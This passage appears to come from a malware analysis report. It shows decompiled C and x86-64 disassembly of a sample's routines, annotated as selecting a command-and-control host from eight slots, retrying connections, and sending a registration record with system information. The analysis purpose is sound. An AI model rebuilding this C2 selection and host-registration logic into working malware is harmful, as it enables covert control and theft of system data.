  DAT_0062efd0 = DAT_0062efd0 + 1;
  if (DAT_0062efd0 < 5) {
    FUN_00412d78();
    return;
  }
  goto LAB_00412d96;
}

Assembly · 243 instructions, 1 annotated

Address	Bytes	Instruction	Comment
00412d78	41 55	PUSH R13
00412d7a	41 54	PUSH R12
00412d7c	55	PUSH RBP
00412d7d	53	PUSH RBX
00412d7e	48 81 ec d8 00 00 00	SUB RSP,0xd8
00412d85	83 3d 44 c2 21 00 04	CMP dword ptr [DAT_0062efd0],0x4
00412d8c	c7 44 24 14 01 00 00 00	MOV dword ptr [RSP + local_e4],0x1
00412d94	7e 0a	JLE LAB_00412da0
LAB_00412d96:
00412d96	bf 01 00 00 00	MOV EDI,0x1
00412d9b	e8 30 d4 fe ff	CALL FUN_004001d0	; FUN_004001d0: unknown
LAB_00412da0:
00412da0	80 3d 79 8c 21 00 00	CMP byte ptr [DAT_0062ba20],0x0
00412da7	66 c7 44 24 30 02 00	MOV word ptr [RSP + local_c8],0x2
00412dae	c7 05 70 8c 21 00 ff ff …	MOV dword ptr [DAT_0062ba28],0xffffffff
00412db8	8b 05 e2 c2 21 00	MOV EAX,dword ptr [DAT_0062f0a0]
00412dbe	74 0a	JZ LAB_00412dca
00412dc0	bf 01 00 00 7f	MOV EDI,0x7f000001
00412dc5	e8 3e 6d 00 00	CALL FUN_00419b08
LAB_00412dca:
00412dca	bf d2 04 00 00	MOV EDI,0x4d2
00412dcf	89 44 24 34	MOV dword ptr [RSP + local_c4],EAX
00412dd3	41 bc 1a 00 00 00	MOV R12D,0x1a
00412dd9	4c 8d 6c 24 14	LEA R13,[RSP + 0x14]
00412dde	e8 2a 6d 00 00	CALL FUN_00419b0d
00412de3	66 89 44 24 32	MOV word ptr [RSP + local_c6],AX
LAB_00412de8:
00412de8	bf 02 00 00 00	MOV EDI,0x2
00412ded	31 d2	XOR EDX,EDX
00412def	be 01 00 00 00	MOV ESI,0x1
00412df4	e8 0a 8e 00 00	CALL FUN_0041bc03
00412df9	89 05 29 8c 21 00	MOV dword ptr [DAT_0062ba28],EAX
00412dff	89 c7	MOV EDI,EAX
00412e01	83 f8 ff	CMP EAX,-0x1
00412e04	0f 84 37 03 00 00	JZ LAB_00413141
00412e0a	41 b8 04 00 00 00	MOV R8D,0x4
00412e10	4c 89 e9	MOV RCX,R13
00412e13	ba 02 00 00 00	MOV EDX,0x2
00412e18	be 01 00 00 00	MOV ESI,0x1
00412e1d	e8 bd 8d 00 00	CALL FUN_0041bbdf
00412e22	8b 3d 00 8c 21 00	MOV EDI,dword ptr [DAT_0062ba28]
00412e28	31 d2	XOR EDX,EDX
00412e2a	31 c0	XOR EAX,EAX
00412e2c	be 03 00 00 00	MOV ESI,0x3
00412e31	e8 38 4e 00 00	CALL FUN_00417c6e
00412e36	8b 3d ec 8b 21 00	MOV EDI,dword ptr [DAT_0062ba28]
00412e3c	be 04 00 00 00	MOV ESI,0x4
00412e41	80 cc 08	OR AH,0x8
00412e44	89 c2	MOV EDX,EAX
00412e46	31 c0	XOR EAX,EAX
00412e48	e8 21 4e 00 00	CALL FUN_00417c6e
00412e4d	8b 3d d5 8b 21 00	MOV EDI,dword ptr [DAT_0062ba28]
00412e53	48 8d 74 24 30	LEA RSI,[RSP + 0x30]
00412e58	ba 10 00 00 00	MOV EDX,0x10
00412e5d	e8 07 68 00 00	CALL FUN_00419669
00412e62	8b 3d c0 8b 21 00	MOV EDI,dword ptr [DAT_0062ba28]
00412e68	85 c0	TEST EAX,EAX
00412e6a	75 37	JNZ LAB_00412ea3
00412e6c	be 01 00 00 00	MOV ESI,0x1
00412e71	e8 b8 72 00 00	CALL FUN_0041a12e
00412e76	85 c0	TEST EAX,EAX
00412e78	75 0f	JNZ LAB_00412e89
00412e7a	c7 05 4c c1 21 00 00 00 …	MOV dword ptr [DAT_0062efd0],0x0
00412e84	e9 f2 02 00 00	JMP LAB_0041317b
LAB_00412e89:
00412e89	8b 3d 99 8b 21 00	MOV EDI,dword ptr [DAT_0062ba28]
00412e8f	e8 ad ac 00 00	CALL FUN_0041db41
00412e94	c7 05 8a 8b 21 00 ff ff …	MOV dword ptr [DAT_0062ba28],0xffffffff
00412e9e	e9 9e 02 00 00	JMP LAB_00413141
LAB_00412ea3:
00412ea3	89 7c 24 0c	MOV dword ptr [RSP + local_ec],EDI
00412ea7	e8 90 4d 00 00	CALL FUN_00417c3c
00412eac	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_ec]
00412eb0	83 38 63	CMP dword ptr [RAX],0x63
00412eb3	48 89 c3	MOV RBX,RAX
00412eb6	75 10	JNZ LAB_00412ec8
00412eb8	80 3d 61 8b 21 00 00	CMP byte ptr [DAT_0062ba20],0x0
00412ebf	74 07	JZ LAB_00412ec8
00412ec1	c6 05 58 8b 21 00 00	MOV byte ptr [DAT_0062ba20],0x0
LAB_00412ec8:
00412ec8	e8 74 ac 00 00	CALL FUN_0041db41
00412ecd	bf d2 04 00 00	MOV EDI,0x4d2
00412ed2	c7 05 4c 8b 21 00 ff ff …	MOV dword ptr [DAT_0062ba28],0xffffffff
00412edc	66 c7 44 24 40 02 00	MOV word ptr [RSP + local_b8],0x2
00412ee3	e8 25 6c 00 00	CALL FUN_00419b0d
00412ee8	bf 01 00 00 7f	MOV EDI,0x7f000001
00412eed	66 89 44 24 42	MOV word ptr [RSP + local_b6],AX
00412ef2	e8 11 6c 00 00	CALL FUN_00419b08
00412ef7	31 d2	XOR EDX,EDX
00412ef9	be 01 00 00 00	MOV ESI,0x1
00412efe	bf 02 00 00 00	MOV EDI,0x2
00412f03	89 44 24 44	MOV dword ptr [RSP + local_b4],EAX
00412f07	e8 f7 8c 00 00	CALL FUN_0041bc03
00412f0c	89 c5	MOV EBP,EAX
00412f0e	83 f8 ff	CMP EAX,-0x1
00412f11	0f 84 e0 00 00 00	JZ LAB_00412ff7
00412f17	31 d2	XOR EDX,EDX
00412f19	89 c7	MOV EDI,EAX
00412f1b	be 03 00 00 00	MOV ESI,0x3
00412f20	31 c0	XOR EAX,EAX
00412f22	e8 47 4d 00 00	CALL FUN_00417c6e
00412f27	83 f8 ff	CMP EAX,-0x1
00412f2a	0f 84 c0 00 00 00	JZ LAB_00412ff0
00412f30	80 cc 08	OR AH,0x8
00412f33	be 04 00 00 00	MOV ESI,0x4
00412f38	89 ef	MOV EDI,EBP
00412f3a	89 c2	MOV EDX,EAX
00412f3c	31 c0	XOR EAX,EAX
00412f3e	e8 2b 4d 00 00	CALL FUN_00417c6e
00412f43	ff c0	INC EAX
00412f45	0f 84 a5 00 00 00	JZ LAB_00412ff0
00412f4b	48 8d 74 24 40	LEA RSI,[RSP + 0x40]
00412f50	ba 10 00 00 00	MOV EDX,0x10
00412f55	89 ef	MOV EDI,EBP
00412f57	e8 2d 67 00 00	CALL FUN_00419689
00412f5c	85 c0	TEST EAX,EAX
00412f5e	0f 84 9e 01 00 00	JZ LAB_00413102
00412f64	83 3b 73	CMP dword ptr [RBX],0x73
00412f67	0f 85 83 00 00 00	JNZ LAB_00412ff0
00412f6d	48 8d 54 24 50	LEA RDX,[RSP + 0x50]
00412f72	31 c0	XOR EAX,EAX
00412f74	b9 20 00 00 00	MOV ECX,0x20
00412f79	be 01 00 00 00	MOV ESI,0x1
00412f7e	48 89 d7	MOV RDI,RDX
00412f81	4c 8d 44 24 20	LEA R8,[RSP + 0x20]
00412f86	48 c7 44 24 20 03 00 00 …	MOV qword ptr [RSP + local_d8],0x3
00412f8f	f3 ab	STOSD.REP RDI
00412f91	89 e9	MOV ECX,EBP
00412f93	48 63 c5	MOVSXD RAX,EBP
00412f96	8d 7d 01	LEA EDI,[RBP + 0x1]
00412f99	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_d0],0x0
00412fa2	48 d3 e6	SHL RSI,CL
00412fa5	48 c1 e8 06	SHR RAX,0x6
00412fa9	31 c9	XOR ECX,ECX
00412fab	48 89 74 c4 50	MOV qword ptr [RSP + RAX*0x8 + 0x50],RSI
00412fb0	31 f6	XOR ESI,ESI
00412fb2	e8 e1 8f 00 00	CALL FUN_0041bf98
00412fb7	85 c0	TEST EAX,EAX
00412fb9	7e 35	JLE LAB_00412ff0
00412fbb	48 8d 4c 24 18	LEA RCX,[RSP + 0x18]
00412fc0	4c 8d 44 24 1c	LEA R8,[RSP + 0x1c]
00412fc5	ba 04 00 00 00	MOV EDX,0x4
00412fca	89 ef	MOV EDI,EBP
00412fcc	be 01 00 00 00	MOV ESI,0x1
00412fd1	c7 44 24 18 00 00 00 00	MOV dword ptr [RSP + local_e0],0x0
00412fd9	c7 44 24 1c 04 00 00 00	MOV dword ptr [RSP + local_dc],0x4
00412fe1	e8 01 6b 00 00	CALL FUN_00419ae7
00412fe6	0b 44 24 18	OR EAX,dword ptr [RSP + local_e0]
00412fea	0f 84 12 01 00 00	JZ LAB_00413102
LAB_00412ff0:
00412ff0	89 ef	MOV EDI,EBP
00412ff2	e8 4a ab 00 00	CALL FUN_0041db41
LAB_00412ff7:
00412ff7	8b 05 a3 c0 21 00	MOV EAX,dword ptr [DAT_0062f0a0]
00412ffd	39 44 24 34	CMP dword ptr [RSP + local_c4],EAX
00413001	0f 84 15 01 00 00	JZ LAB_0041311c
00413007	31 d2	XOR EDX,EDX
00413009	be 01 00 00 00	MOV ESI,0x1
0041300e	bf 02 00 00 00	MOV EDI,0x2
00413013	e8 eb 8b 00 00	CALL FUN_0041bc03
00413018	89 c5	MOV EBP,EAX
0041301a	83 f8 ff	CMP EAX,-0x1
0041301d	0f 84 f9 00 00 00	JZ LAB_0041311c
00413023	8b 05 77 c0 21 00	MOV EAX,dword ptr [DAT_0062f0a0]
00413029	31 d2	XOR EDX,EDX
0041302b	be 03 00 00 00	MOV ESI,0x3
00413030	89 ef	MOV EDI,EBP
00413032	89 44 24 44	MOV dword ptr [RSP + local_b4],EAX
00413036	31 c0	XOR EAX,EAX
00413038	e8 31 4c 00 00	CALL FUN_00417c6e
0041303d	83 f8 ff	CMP EAX,-0x1
00413040	0f 84 cf 00 00 00	JZ LAB_00413115
00413046	80 cc 08	OR AH,0x8
00413049	be 04 00 00 00	MOV ESI,0x4
0041304e	89 ef	MOV EDI,EBP
00413050	89 c2	MOV EDX,EAX
00413052	31 c0	XOR EAX,EAX
00413054	e8 15 4c 00 00	CALL FUN_00417c6e
00413059	ff c0	INC EAX
0041305b	0f 84 b4 00 00 00	JZ LAB_00413115
00413061	48 8d 74 24 40	LEA RSI,[RSP + 0x40]
00413066	ba 10 00 00 00	MOV EDX,0x10
0041306b	89 ef	MOV EDI,EBP
0041306d	e8 17 66 00 00	CALL FUN_00419689
00413072	85 c0	TEST EAX,EAX
00413074	0f 84 88 00 00 00	JZ LAB_00413102
0041307a	83 3b 73	CMP dword ptr [RBX],0x73
0041307d	0f 85 92 00 00 00	JNZ LAB_00413115
00413083	48 8d 54 24 50	LEA RDX,[RSP + 0x50]
00413088	31 c0	XOR EAX,EAX
0041308a	b9 20 00 00 00	MOV ECX,0x20
0041308f	be 01 00 00 00	MOV ESI,0x1
00413094	48 89 d7	MOV RDI,RDX
00413097	4c 8d 44 24 20	LEA R8,[RSP + 0x20]
0041309c	48 c7 44 24 20 02 00 00 …	MOV qword ptr [RSP + local_d8],0x2
004130a5	f3 ab	STOSD.REP RDI
004130a7	89 e9	MOV ECX,EBP
004130a9	48 63 c5	MOVSXD RAX,EBP
004130ac	8d 7d 01	LEA EDI,[RBP + 0x1]
004130af	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_d0],0x0
004130b8	48 d3 e6	SHL RSI,CL
004130bb	48 c1 e8 06	SHR RAX,0x6
004130bf	31 c9	XOR ECX,ECX
004130c1	48 89 74 c4 50	MOV qword ptr [RSP + RAX*0x8 + 0x50],RSI
004130c6	31 f6	XOR ESI,ESI
004130c8	e8 cb 8e 00 00	CALL FUN_0041bf98
004130cd	85 c0	TEST EAX,EAX
004130cf	7e 44	JLE LAB_00413115
004130d1	48 8d 4c 24 18	LEA RCX,[RSP + 0x18]
004130d6	4c 8d 44 24 1c	LEA R8,[RSP + 0x1c]
004130db	ba 04 00 00 00	MOV EDX,0x4
004130e0	89 ef	MOV EDI,EBP
004130e2	be 01 00 00 00	MOV ESI,0x1
004130e7	c7 44 24 18 00 00 00 00	MOV dword ptr [RSP + local_e0],0x0
004130ef	c7 44 24 1c 04 00 00 00	MOV dword ptr [RSP + local_dc],0x4
004130f7	e8 eb 69 00 00	CALL FUN_00419ae7
004130fc	0b 44 24 18	OR EAX,dword ptr [RSP + local_e0]
00413100	75 13	JNZ LAB_00413115
LAB_00413102:
00413102	89 ef	MOV EDI,EBP
00413104	e8 38 aa 00 00	CALL FUN_0041db41
00413109	bf 02 00 00 00	MOV EDI,0x2
0041310e	e8 50 ac 00 00	CALL FUN_0041dd63
00413113	eb 2c	JMP LAB_00413141
LAB_00413115:
00413115	89 ef	MOV EDI,EBP
00413117	e8 25 aa 00 00	CALL FUN_0041db41
LAB_0041311c:
0041311c	bb 05 00 00 00	MOV EBX,0x5
LAB_00413121:
00413121	bf d2 04 00 00	MOV EDI,0x4d2
00413126	e8 e2 69 00 00	CALL FUN_00419b0d
0041312b	0f b7 f8	MOVZX EDI,AX
0041312e	e8 27 9a ff ff	CALL FUN_0040cb5a
00413133	bf 03 00 00 00	MOV EDI,0x3
00413138	e8 26 ac 00 00	CALL FUN_0041dd63
0041313d	ff cb	DEC EBX
0041313f	75 e0	JNZ LAB_00413121
LAB_00413141:
00413141	41 ff cc	DEC R12D
00413144	74 0f	JZ LAB_00413155
00413146	bf 01 00 00 00	MOV EDI,0x1
0041314b	e8 13 ac 00 00	CALL FUN_0041dd63
00413150	e9 93 fc ff ff	JMP LAB_00412de8
LAB_00413155:
00413155	c7 05 c9 88 21 00 ff ff …	MOV dword ptr [DAT_0062ba28],0xffffffff
0041315f	8b 05 6b be 21 00	MOV EAX,dword ptr [DAT_0062efd0]
00413165	ff c0	INC EAX
00413167	89 05 63 be 21 00	MOV dword ptr [DAT_0062efd0],EAX
0041316d	83 f8 04	CMP EAX,0x4
00413170	0f 8f 20 fc ff ff	JG LAB_00412d96
00413176	e8 fd fb ff ff	CALL FUN_00412d78
LAB_0041317b:
0041317b	48 81 c4 d8 00 00 00	ADD RSP,0xd8
00413182	5b	POP RBX
00413183	5d	POP RBP
00413184	41 5c	POP R12
00413186	41 5d	POP R13
00413188	c3	RET

selects the C2 host from store slots…

0x413189327 bytes

undefined FUN_00413189()

selects the C2 host from store slots 0-7 and resolves up to 32 addresses

Cited as: E29
Behaviours: B6
Called from: FUN_004001d0
Calls: FUN_00414172, FUN_004143a1, FUN_004143ae

Decompiled C · 68 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00413189(char param_1)

{
  char *pcVar1;
  byte bVar2;
  int iVar3;
  byte *pbVar4;
  uint uVar5;
  int iVar6;
  uint uVar7;
  long lVar8;
  long lVar9;
  
  _DAT_0062efe0 = 0;
  DAT_0062efe2 = 0;
  DAT_0062efe4 = 0;
  bVar2 = DAT_0062efd8;
  if (param_1 != '\0') {
    iVar6 = 1;
    do {
      pcVar1 = *(char **)(DAT_0062e6f0 + (ulong)((uint)DAT_0062efd8 + iVar6 & 7) * 0x10);
      if ((pcVar1 != (char *)0x0) &&
         (bVar2 = (byte)((uint)DAT_0062efd8 + iVar6) & 7, *pcVar1 != '\0')) break;
      iVar6 = iVar6 + 1;
      bVar2 = DAT_0062efd8;
    } while (iVar6 != 9);
  }
  DAT_0062efd8 = bVar2;
  uVar7 = (uint)DAT_0062efd8;
  iVar6 = 0;
  do {
    pcVar1 = *(char **)((ulong)(iVar6 + uVar7 & 7) * 0x10 + DAT_0062e6f0);
    if (((pcVar1 != (char *)0x0) && (*pcVar1 != '\0')) &&
       (pbVar4 = (byte *)FUN_004143a1(), pbVar4 != (byte *)0x0)) {
      bVar2 = DAT_0062efd8;
      if (*pbVar4 != 0) {
        for (lVar9 = 0; bVar2 = (byte)(iVar6 + uVar7) & 7, (int)lVar9 < (int)(uint)*pbVar4;
            lVar9 = lVar9 + 1) {
          iVar3 = FUN_004143ae(*(undefined4 *)(*(long *)(pbVar4 + 8) + lVar9 * 4));
          if (iVar3 != 0) {
            uVar5 = (uint)DAT_0062efe1;
            lVar8 = 0;
            do {
              if ((int)uVar5 <= (int)lVar8) {
                if (DAT_0062efe1 != 0x20) {
                  _DAT_0062efe0 = CONCAT11(DAT_0062efe1 + 1,1);
                  (&DAT_0062efe8)[(int)uVar5] = iVar3;
                }
                break;
              }
              lVar8 = lVar8 + 1;
            } while (iVar3 != (&DAT_0062efe4)[lVar8]);
          }
        }
      }
      DAT_0062efd8 = bVar2;
      FUN_00414172(pbVar4);
    }
    iVar6 = iVar6 + 1;
    if ((iVar6 == 8) || (DAT_0062efe0 != '\0')) {
      return;
    }
  } while( true );
}

Assembly · 95 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00413189	41 57	PUSH R15	; E29
0041318b	41 56	PUSH R14
0041318d	41 55	PUSH R13
0041318f	41 54	PUSH R12
00413191	55	PUSH RBP
00413192	53	PUSH RBX
00413193	51	PUSH RCX
00413194	66 c7 05 43 be 21 00 00 …	MOV word ptr [DAT_0062efe0],0x0
0041319d	c6 05 3e be 21 00 00	MOV byte ptr [DAT_0062efe2],0x0
004131a4	c7 05 36 be 21 00 00 00 …	MOV dword ptr [DAT_0062efe4],0x0
004131ae	40 84 ff	TEST DIL,DIL
004131b1	74 3f	JZ LAB_004131f2
004131b3	0f b6 35 1e be 21 00	MOVZX ESI,byte ptr [DAT_0062efd8]
004131ba	48 8b 3d 2f b5 21 00	MOV RDI,qword ptr [DAT_0062e6f0]
004131c1	ba 01 00 00 00	MOV EDX,0x1
LAB_004131c6:
004131c6	8d 04 16	LEA EAX,[RSI + RDX*0x1]
004131c9	89 c1	MOV ECX,EAX
004131cb	83 e0 07	AND EAX,0x7
004131ce	48 c1 e0 04	SHL RAX,0x4
004131d2	83 e1 07	AND ECX,0x7
004131d5	48 8b 04 07	MOV RAX,qword ptr [RDI + RAX*0x1]
004131d9	48 85 c0	TEST RAX,RAX
004131dc	74 05	JZ LAB_004131e3
004131de	80 38 00	CMP byte ptr [RAX],0x0
004131e1	75 09	JNZ LAB_004131ec
LAB_004131e3:
004131e3	ff c2	INC EDX
004131e5	83 fa 09	CMP EDX,0x9
004131e8	75 dc	JNZ LAB_004131c6
004131ea	89 f1	MOV ECX,ESI
LAB_004131ec:
004131ec	88 0d e6 bd 21 00	MOV byte ptr [DAT_0062efd8],CL
LAB_004131f2:
004131f2	0f b6 2d df bd 21 00	MOVZX EBP,byte ptr [DAT_0062efd8]
004131f9	31 db	XOR EBX,EBX
LAB_004131fb:
004131fb	8d 04 2b	LEA EAX,[RBX + RBP*0x1]
004131fe	41 89 c4	MOV R12D,EAX
00413201	83 e0 07	AND EAX,0x7
00413204	48 c1 e0 04	SHL RAX,0x4
00413208	48 03 05 e1 b4 21 00	ADD RAX,qword ptr [DAT_0062e6f0]
0041320f	41 83 e4 07	AND R12D,0x7
00413213	48 8b 38	MOV RDI,qword ptr [RAX]
00413216	48 85 ff	TEST RDI,RDI
00413219	0f 84 90 00 00 00	JZ LAB_004132af
0041321f	80 3f 00	CMP byte ptr [RDI],0x0
00413222	0f 84 87 00 00 00	JZ LAB_004132af
00413228	e8 74 11 00 00	CALL FUN_004143a1
0041322d	49 89 c5	MOV R13,RAX
00413230	48 85 c0	TEST RAX,RAX
00413233	74 7a	JZ LAB_004132af
00413235	80 38 00	CMP byte ptr [RAX],0x0
00413238	74 6d	JZ LAB_004132a7
0041323a	45 31 f6	XOR R14D,R14D
0041323d	4c 8d 3d a0 bd 21 00	LEA R15,[DAT_0062efe4]
LAB_00413244:
00413244	41 0f b6 45 00	MOVZX EAX,byte ptr [R13]
00413249	44 39 f0	CMP EAX,R14D
0041324c	7e 52	JLE LAB_004132a0
0041324e	49 8b 45 08	MOV RAX,qword ptr [R13 + 0x8]
00413252	42 8b 3c b0	MOV EDI,dword ptr [RAX + R14*0x4]
00413256	e8 53 11 00 00	CALL FUN_004143ae
0041325b	85 c0	TEST EAX,EAX
0041325d	74 3c	JZ LAB_0041329b
0041325f	0f b6 0d 7b bd 21 00	MOVZX ECX,byte ptr [DAT_0062efe1]
00413266	31 f6	XOR ESI,ESI
00413268	89 ca	MOV EDX,ECX
LAB_0041326a:
0041326a	39 f1	CMP ECX,ESI
0041326c	7e 0b	JLE LAB_00413279
0041326e	48 ff c6	INC RSI
00413271	41 3b 04 b7	CMP EAX,dword ptr [R15 + RSI*0x4]
00413275	75 f3	JNZ LAB_0041326a
00413277	eb 22	JMP LAB_0041329b
LAB_00413279:
00413279	80 fa 20	CMP DL,0x20
0041327c	74 1d	JZ LAB_0041329b
0041327e	ff c2	INC EDX
00413280	48 63 c9	MOVSXD RCX,ECX
00413283	c6 05 56 bd 21 00 01	MOV byte ptr [DAT_0062efe0],0x1
0041328a	88 15 51 bd 21 00	MOV byte ptr [DAT_0062efe1],DL
00413290	48 8d 15 49 bd 21 00	LEA RDX,[DAT_0062efe0]
00413297	89 44 8a 08	MOV dword ptr [RDX + RCX*0x4 + 0x8],EAX
LAB_0041329b:
0041329b	49 ff c6	INC R14
0041329e	eb a4	JMP LAB_00413244
LAB_004132a0:
004132a0	44 88 25 31 bd 21 00	MOV byte ptr [DAT_0062efd8],R12B
LAB_004132a7:
004132a7	4c 89 ef	MOV RDI,R13
004132aa	e8 c3 0e 00 00	CALL FUN_00414172
LAB_004132af:
004132af	ff c3	INC EBX
004132b1	8a 05 29 bd 21 00	MOV AL,byte ptr [DAT_0062efe0]
004132b7	83 fb 08	CMP EBX,0x8
004132ba	74 08	JZ LAB_004132c4
004132bc	84 c0	TEST AL,AL
004132be	0f 84 37 ff ff ff	JZ LAB_004131fb
LAB_004132c4:
004132c4	5a	POP RDX
004132c5	5b	POP RBX
004132c6	5d	POP RBP
004132c7	41 5c	POP R12
004132c9	41 5d	POP R13
004132cb	41 5e	POP R14
004132cd	41 5f	POP R15
004132cf	c3	RET

builds the registration record with…

0x4132d01512 bytes

undefined FUN_004132d0()

builds the registration record with system information and sends it inside the session hello

Cited as: E14, E31
Behaviours: B6, B7
Called from: FUN_004001d0
Calls: thunk_FUN_0040d215, FUN_00411926, FUN_00411a32, FUN_00411c7d, FUN_0041233f, FUN_00412511, FUN_00412649, FUN_00412c0d, FUN_00412c9a, FUN_004175f0, FUN_004194f7, FUN_00419b0d, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c853, FUN_0041cf00, FUN_0041cfd0, FUN_0041d050, FUN_0041d540, FUN_0041daf0, FUN_0041dc31

Decompiled C · 221 lines

void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
  undefined1 local_464 [492];
  undefined1 local_278 [260];
  char local_174 [324];
  
  bVar20 = 0;
  iVar4 = FUN_00412511();
  if (iVar4 == 0) goto LAB_00413836;
  FUN_00412649();
  iVar4 = 0;
  bVar1 = FUN_0041cf00(param_2);
  lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xde0),&DAT_00424f7e);
  if (lVar6 == 0) {
LAB_00413388:
    lVar6 = FUN_004175f0(0x54);
    iVar4 = 1;
    if (lVar6 - 1U < 0xff) {
      iVar4 = (int)lVar6;
    }
  }
  else {
    while (lVar7 = FUN_0041c4d7(local_278,0x100,lVar6), lVar7 != 0) {
      if (0 < *(int *)(DAT_0062e6f0 + 0xe48)) {
        iVar5 = FUN_0041cfd0(local_278,*(undefined8 *)(DAT_0062e6f0 + 0xe40));
        iVar4 = iVar4 + (uint)(iVar5 == 0);
      }
    }
    FUN_0041c306(lVar6);
    if (0xfe < iVar4 - 1U) goto LAB_00413388;
  }
  lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xdf0),&DAT_00424f7e);
  if (lVar6 == 0) {
LAB_0041343d:
    lVar6 = FUN_004175f0(0x55);
    lVar7 = FUN_004175f0(0x1e);
    if ((lVar6 < 1) || (lVar7 < 1)) {
      uVar18 = 0x400;
    }
    else {
      if ((ulong)(lVar7 * lVar6) < 0x1000000000) {
        uVar12 = (ulong)(lVar7 * lVar6) >> 0x14;
        uVar18 = 0x400;
        if (uVar12 == 0) goto LAB_0041348f;
      }
      else {
        uVar12 = 0xffff;
      }
      uVar18 = uVar12 & 0xffffffff;
    }
  }
  else {
    local_478[0] = 0;
    do {
      lVar7 = FUN_0041c4d7(local_278,0x100,lVar6);
      if (lVar7 == 0) break;
      lVar7 = FUN_00412c0d(0x1b2);
    } while ((lVar7 == 0) || (iVar5 = FUN_0041c853(local_278,lVar7,local_478), iVar5 != 1));
    FUN_0041c306(lVar6);
    if (local_478[0] == 0) goto LAB_0041343d;
    uVar18 = 0xffff;
    if (local_478[0] < 0x4000000) {
      uVar18 = local_478[0] >> 10;
    }
  }
LAB_0041348f:
  pcVar8 = (char *)FUN_00412c0d(0x14f);
  if (((pcVar8 == (char *)0x0) || (*pcVar8 == '/')) || (pcVar9 = pcVar8, *pcVar8 == '\0')) {
LAB_004134e6:
    iVar5 = FUN_004194f7(local_278);
    pcVar8 = local_174;
    if (iVar5 == 0) goto LAB_00413700;
    lVar6 = FUN_0041c633(*(undefined8 *)(DAT_0062e6f0 + 0xe00),&DAT_00424f7e);
    if (lVar6 == 0) {
      pcVar8 = *(char **)(DAT_0062e6f0 + 0xfb0);
      goto LAB_00413700;
    }
    lVar10 = FUN_0041c4d7(local_278,0x200,lVar6);
    lVar7 = DAT_0062e6f0;
    if ((lVar10 == 0) ||
       ((((((lVar10 = *(long *)(DAT_0062e6f0 + 0xf00), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
           ((lVar10 = *(long *)(lVar7 + 0xf10), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
          ((lVar10 = *(long *)(lVar7 + 0xf20), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
         (((lVar10 = *(long *)(lVar7 + 0xf30), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
          ((((lVar10 = *(long *)(lVar7 + 0xf40), lVar10 == 0 ||
             (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
            ((lVar10 = *(long *)(lVar7 + 0xf50), lVar10 == 0 ||
             (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
           ((lVar10 = *(long *)(lVar7 + 0xf60), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))))))) &&
        (((lVar10 = *(long *)(lVar7 + 0xf70), lVar10 == 0 ||
          (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
         ((((lVar10 = *(long *)(lVar7 + 0xf80), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)) &&
           ((lVar10 = *(long *)(lVar7 + 0xf90), lVar10 == 0 ||
            (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))) &&
          ((lVar10 = *(long *)(lVar7 + 4000), lVar10 == 0 ||
           (lVar11 = FUN_0041d540(local_278), lVar11 == 0)))))))))) {
      lVar10 = *(long *)(lVar7 + 0xfb0);
    }
    FUN_0041d050(local_5b8,lVar10,0x3f);
    local_579 = 0;
    FUN_0041c306(lVar6);
  }
  else {
    for (; cVar2 = *pcVar9, cVar2 != '\0'; pcVar9 = pcVar9 + 1) {
      if ((0x19 < (byte)(cVar2 + 0x9fU)) &&
         ((0x32 < (byte)(cVar2 - 0x2dU) || ((-0x4000000001ffc >> (cVar2 - 0x2dU & 0x3f) & 1U) != 0))
         )) goto LAB_004134e6;
    }
LAB_00413700:
    FUN_0041d050(local_5b8,pcVar8,0x3f);
    local_579 = 0;
  }
  uVar12 = FUN_0041cf00(local_5b8);
  iVar5 = FUN_0041dc31();
  puVar17 = local_478;
  for (lVar6 = 0x80; lVar6 != 0; lVar6 = lVar6 + -1) {
    *(undefined4 *)puVar17 = 0;
    puVar17 = (ulong *)((long)puVar17 + (ulong)bVar20 * -8 + 4);
  }
  lVar6 = FUN_0041233f(local_478,0x200);
  if (lVar6 == 0x13) {
    uVar19 = (ulong)bVar1;
    puVar15 = param_2;
    puVar16 = local_464;
    for (uVar13 = uVar19; uVar13 != 0; uVar13 = uVar13 - 1) {
      *puVar16 = *puVar15;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar16 = puVar16 + (ulong)bVar20 * -2 + 1;
    }
    *puVar16 = (char)iVar4;
    local_465 = bVar1;
    uVar3 = FUN_00419b0d(uVar18 & 0xffff);
    *(undefined2 *)(puVar16 + 1) = uVar3;
    puVar16[3] = (char)uVar12;
    puVar15 = local_5b8;
    puVar14 = puVar16 + 4;
    for (uVar18 = uVar12 & 0xffffffff; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar14 = *puVar15;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar14 = puVar14 + (ulong)bVar20 * -2 + 1;
    }
    puVar16[uVar12 + 4] = iVar5 == 0;
    local_578 = bVar1;
    puVar15 = local_577;
